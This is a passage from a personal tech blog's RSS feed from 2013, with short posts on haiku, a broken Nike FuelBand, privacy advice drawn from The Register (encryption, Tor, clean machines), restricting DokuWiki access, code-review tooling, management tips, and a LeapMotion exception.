&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;    Result &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; Ptr&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;DoSomething&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// And left his memory a leakin&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; Result;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>Geek Haiku #1</title>
      <link>/post/2013/09/geek-haiku-1/</link>
      <pubDate>Fri, 13 Sep 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/09/geek-haiku-1/</guid>
      <description>&lt;p&gt;two words never heard in polite conversation Microsoft Vista&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>NSA Haiku</title>
      <link>/post/2013/09/nsa-haiku/</link>
      <pubDate>Tue, 10 Sep 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/09/nsa-haiku/</guid>
      <description>&lt;p&gt;You scramble me and unscramble me I&amp;rsquo;m putty in your hands ~ Only you&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Exception of the day</title>
      <link>/post/2013/09/exception-of-the-day/</link>
      <pubDate>Fri, 06 Sep 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/09/exception-of-the-day/</guid>
      <description>&lt;p&gt;Sigh, why do I get to see all the &amp;lsquo;interesting&amp;rsquo; errors. Not sure what do I get to make of this. :)&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/outlook-internal-error.jpg&#34; alt=&#34;outlook-internal-error&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Broken Nike FuelBand</title>
      <link>/post/2013/08/broken-nike-fuelband/</link>
      <pubDate>Sat, 24 Aug 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/08/broken-nike-fuelband/</guid>
      <description>&lt;p&gt;The wife recently bought a Nike FuelBand which she was loving. However in about 4-5 weeks of regular usage, the strap on it broke and the links which hold it together fell apart. The device itself is working, but it cannot be worn now as it won&amp;rsquo;t lock making it quite useless.  &amp;#x1f622;&lt;/p&gt;
&lt;p&gt;I was quite surprised as this is supposed to last more than this given both what it is meant to do and the cost of the device as well. Now this is an expensive paperweight.&lt;/p&gt;
&lt;p&gt;Here are a few photos. This is what it looks like now, and cannot be locked, making it useless:&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/WP_20130824_005-300x168.jpg&#34; alt=&#34;WP_20130824_005&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;This is how it was when it broke and fell apart - we tried to rescue and pick up everything we could, but it seems there is a very small spring inside which is lost. This spring is crucial for the &amp;rsquo;lock&amp;rsquo; and which acts as a rocker. Without this spring, this is useless.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/DSC02506-300x225.jpg&#34; alt=&#34;DSC02506&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;This is I was trying to figure it out how to put it together and when I figured the small metal part (silver in colour) needs a spring which rocks it up and down. When one locks and unlocks this that spring is what is acting and allowing you to open and close this.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/DSC02508-300x225.jpg&#34; alt=&#34;DSC02508&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;This is how the broken piece looks like after I put it together, everything looks OK, except it won&amp;rsquo;t lock.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/DSC02505-300x225.jpg&#34; alt=&#34;DSC02505&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;I am not very happy with this situation right now - if this was a year after using the Nike FuelBand, perhaps I could still understand but 4 odd weeks of usage and this breaking is not acceptable.&lt;/p&gt;
&lt;p&gt;I don&amp;rsquo;t have much hope in Nike, as where I am currently living, this is not sold and I am sure they would try and squeal out of trying to replace this or fix this.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Advice from NSA on how to protect your data from NSA</title>
      <link>/post/2013/08/advice-from-nsa-on-how-to-protect-your-data-from-nsa/</link>
      <pubDate>Fri, 23 Aug 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/08/advice-from-nsa-on-how-to-protect-your-data-from-nsa/</guid>
      <description>&lt;p&gt;No, there is no typo in the Subject, this advice is from NSA and should be good if you want to secure your data from NSA. The Register had &lt;a
	
		href = &#34;http://www.theregister.co.uk/2013/08/22/guardian_snowden_advice/?page=1&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		this excellent
	&lt;/span&gt;
&lt;/a&gt; write up on Guardian could have protected Snowden. I also like what The Register say:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Use an old-fashioned air gap. Be paranoid&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;You also could &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Steganography&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Steganography
	&lt;/span&gt;
&lt;/a&gt;, using something like &lt;a
	
		href = &#34;http://www.pcadvisor.co.uk/how-to/software/3445112/how-use-steganpeg-hide-documents-in-images/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		SteganPEG
	&lt;/span&gt;
&lt;/a&gt;, but that is more obscurity, rather than security. The advice from The Register is sound and essentially is good if you are interested in protecting sensitive data. There are essentially four steps parts to this.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Encryption - whilst it might seem hard to the non-geeky (I think we need to find a name similar to &amp;lsquo;Muggles&amp;rsquo; - some reference for non-techy folks - of course in a good and constructive manner), it is not very hard. You should use something like &lt;a
	
		href = &#34;http://www.gnupg.org/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		GnuGP
	&lt;/span&gt;
&lt;/a&gt; and create a asymmetric key pair (i.e. a pair of public and private keys). I would recommend you use a &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/RSA_%28algorithm%29&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		RSA
	&lt;/span&gt;
&lt;/a&gt; based key pair which is 4K bits in length, using a &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/SHA-2&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		SHA2 512
	&lt;/span&gt;
&lt;/a&gt; as the hash function. You should also consider the expiry date for this no more than a year, which will prevent some old keys lying around and being recycled or compromises.&lt;/li&gt;
&lt;li&gt;Use Clean Machines - You don&amp;rsquo;t know what is lying around on that OS and machine - could be some keyloggers for example. It is best to start with a brand new machine, which you re-install. You could either use the &lt;a
	
		href = &#34;http://selinuxproject.org/page/Main_Page&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Security Enhanced Linux distro
	&lt;/span&gt;
&lt;/a&gt;, or a &lt;a
	
		href = &#34;http://grandstreamdreams.blogspot.in/2009/05/free-usaf-hardened-windows-build-well.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		harderned version of Windows
	&lt;/span&gt;
&lt;/a&gt; or something else; NSA has a &lt;a
	
		href = &#34;http://www.nsa.gov/ia/mitigation_guidance/security_configuration_guides/operating_systems.shtml&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		handy guide
	&lt;/span&gt;
&lt;/a&gt;. You should also look to use something like &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/BitLocker_Drive_Encryption&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		BitLocker
	&lt;/span&gt;
&lt;/a&gt; or &lt;a
	
		href = &#34;http://www.truecrypt.org/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		TrueCrpyt
	&lt;/span&gt;
&lt;/a&gt; and use that on a VM which you have built from scratch and is running on that clean machine.&lt;/li&gt;
&lt;li&gt;Moving the Data Securely - I think, this is the most difficult thing to do. The only way you can come close enough to do this is using &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Tor
	&lt;/span&gt;
&lt;/a&gt; and a &lt;a
	
		href = &#34;https://www.torproject.org/docs/hidden-services.html.en&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		hidden service
	&lt;/span&gt;
&lt;/a&gt;. Of course all the entry and exit points to Tor would be monitored and &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29#Exit_nodes_should_not_be_trusted&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		cannot be trusted
	&lt;/span&gt;
&lt;/a&gt;. If you don&amp;rsquo;t know much of Tor, you can read up &lt;a
	
		href = &#34;https://www.torproject.org/about/overview.html.en&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		this guide
	&lt;/span&gt;
&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Using a Hidden Service - Use your clean machine only to interact with the absolute minimum to download data and then ensure it always remains disconnected from any network.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I also think the amount of data and information that Google and Facebook has one someone is scary. I like how The Registered ended their article with the quote from one of the UK government security staff:&lt;/p&gt;
&lt;p&gt;You would not believe the hoops we have to jump through to access an email, all the legal paperwork that needs completing, when Google has everyone on file and no one blinks an eye&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Securing you DokuWiki</title>
      <link>/post/2013/08/securing-you-dokuwiki/</link>
      <pubDate>Thu, 22 Aug 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/08/securing-you-dokuwiki/</guid>
      <description>&lt;p&gt;After my WHS died and I moved to a Synology DS413 and using that as a &amp;lsquo;home server&amp;rsquo; and have been extremely happy with it! The only thing I miss is backing up the Windows machines automatically (as WHS did), but overall I think this is better, flexible and more powerful compared to WHS.&lt;/p&gt;
&lt;p&gt;I needed to look for a new wiki software. I recently moved from &lt;a
	
		href = &#34;http://www.screwturn.eu/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		ScrewTurn Wiki
	&lt;/span&gt;
&lt;/a&gt; (which was great BTW, but then is a dead project now) to &lt;a
	
		href = &#34;https://www.dokuwiki.org/dokuwiki&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		DokuWiki
	&lt;/span&gt;
&lt;/a&gt; which is perfect for my needs. I run two wiki&amp;rsquo;s at home and has much of our day-to-day things we as a family need. There are some sections of the Wiki, which are sensitive and I don&amp;rsquo;t want anyone one the network getting to it. I wanted to authenticate the user and once they login only then get to that.&lt;/p&gt;
&lt;p&gt;As it turns out, securing your DokuWiki is quite simple. If you are interested in a similar setup then here is what you need to do:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Disable the registration option on Configuration settings. Some details on this can be found &lt;a
	
		href = &#34;http://www.dokuwiki.org/config:disableactions&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Update the ACL (more of that &lt;a
	
		href = &#34;https://www.dokuwiki.org/acl#access_restrictions&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		here
	&lt;/span&gt;
&lt;/a&gt;), there is a user group called &amp;lsquo;ALL&amp;rsquo;; set the permision for this group to &amp;ldquo;None&amp;rdquo;.&lt;/li&gt;
&lt;li&gt;For the user group &amp;ldquo;User&amp;rdquo;, change the permissions to Edit.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/securing-docuwiki.jpg&#34; alt=&#34;Securing DocuWiki&#34;/&gt;
        &lt;figcaption&gt;Securing DocuWiki&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;This will ensure only logged in (and of course authenticated users) can read and edit and an anonymous user cannot see anything.&lt;/p&gt;
&lt;p&gt;The only catch in this is that you need to manually maintain the users (e.g. add new users); my userbase is very small at home, so this is not a challenge at all.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Automated Code Reviews with Visual Studio?</title>
      <link>/post/2013/08/automated-code-reviews-with-visual-studio/</link>
      <pubDate>Wed, 21 Aug 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/08/automated-code-reviews-with-visual-studio/</guid>
      <description>&lt;p&gt;I have been thinking of doing some code &amp;lsquo;smelliness&amp;rsquo; test, and am keen to automate code reviews (as much as possible).&lt;/p&gt;
&lt;p&gt;I am interested to know what tools have you guys used? I want to use the tools to find the low hanging fruits and know off the 80% of things and then we manually look at the more interesting aspects, which the tools don&amp;rsquo;t (or can&amp;rsquo;t) pick up. Ideally, I would like this as an add-in to Visual Studio, which can run as part of a build and depending on how one configures it, can get to a gated check-in and/or work-items being created in TFS which then can be assigned and tracked. What I am thinking is to complement the likes of FxCop, the built-in Visual Studio tools. There was &lt;a
	
		href = &#34;http://teamreview.codeplex.com/&#34;
	

	
		title = &#34;Team Review&#34;
	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		TeamReview
	&lt;/span&gt;
&lt;/a&gt; which I had looked at some point in the past, but we never got it running successfully. I have not had a chance to see it since then. Someone has also attempted some of this via &lt;a
	
		href = &#34;http://tfscodereviewflow.codeplex.com/&#34;
	

	
		title = &#34;this&#34;
	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		this
	&lt;/span&gt;
&lt;/a&gt;, but it does not seem to go anywhere. Surely, there someone has already build this which we can look into?&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Landfill Harmonic movie</title>
      <link>/post/2013/08/landfill-harmonic-movie/</link>
      <pubDate>Tue, 20 Aug 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/08/landfill-harmonic-movie/</guid>
      <description>&lt;p&gt;Who cares what it smells like, it&amp;rsquo;s what it sounds like that matters. See the first 54 seconds, and then you will be hooked.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>10 things extraordinary bosses give employees</title>
      <link>/post/2013/08/10-things-extraordinary-bosses-give-employees/</link>
      <pubDate>Mon, 19 Aug 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/08/10-things-extraordinary-bosses-give-employees/</guid>
      <description>&lt;p&gt;Got a really good read from &lt;a
	
		href = &#34;http://www.avanade.com/blog/author/jerome-thiebaud/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Jerome
	&lt;/span&gt;
&lt;/a&gt;, fellow Avanade colleague - ten extraordinary things bosses give their employees. Not surprisingly, good bosses care about getting important things done. And exceptional bosses care about their people.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt; Autonomy and independence&lt;/li&gt;
&lt;li&gt;Clear expectation&lt;/li&gt;
&lt;li&gt;Meaningful objectives&lt;/li&gt;
&lt;li&gt;The true sense of purpose&lt;/li&gt;
&lt;li&gt;Opportunities to provide significant input&lt;/li&gt;
&lt;li&gt;A real sense of connection&lt;/li&gt;
&lt;li&gt;Reliable consistency&lt;/li&gt;
&lt;li&gt;Private criticism&lt;/li&gt;
&lt;li&gt;Public praise&lt;/li&gt;
&lt;li&gt;The chance for meaningful future&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;More details &lt;a
	
		href = &#34;http://www.inc.com/jeff-haden/10-things-extraordinary-bosses-do-for-their-employees.html?cid=sf01002&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>On TDD</title>
      <link>/post/2013/08/on-tdd/</link>
      <pubDate>Mon, 19 Aug 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/08/on-tdd/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://static.squarespace.com/static/518f5d62e4b075248d6a3f90/t/51f4f48ce4b03e25cfa8f8aa/1375007898520/tdd.jpg?format=750w&#34; alt=&#34;TDD&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>LeapMotion SEHException</title>
      <link>/post/2013/08/leapmotion-sehexception/</link>
      <pubDate>Wed, 14 Aug 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/08/leapmotion-sehexception/</guid>
      <description>&lt;p&gt;If for some reason when you try and run your code and you get a PINVOKE exception (like the one below), then most likely you don&amp;rsquo;t have the LeapMotion binaries in your Debug (or Release) folders.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt;17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt;18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt;19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt;20&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt;21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt;22&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;23&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#23&#34;&gt;23&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;24&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#24&#34;&gt;24&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;25&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#25&#34;&gt;25&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;26&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#26&#34;&gt;26&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;27&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#27&#34;&gt;27&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;28&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#28&#34;&gt;28&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;29&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#29&#34;&gt;29&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;30&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#30&#34;&gt;30&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;31&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#31&#34;&gt;31&lt;/a&gt;
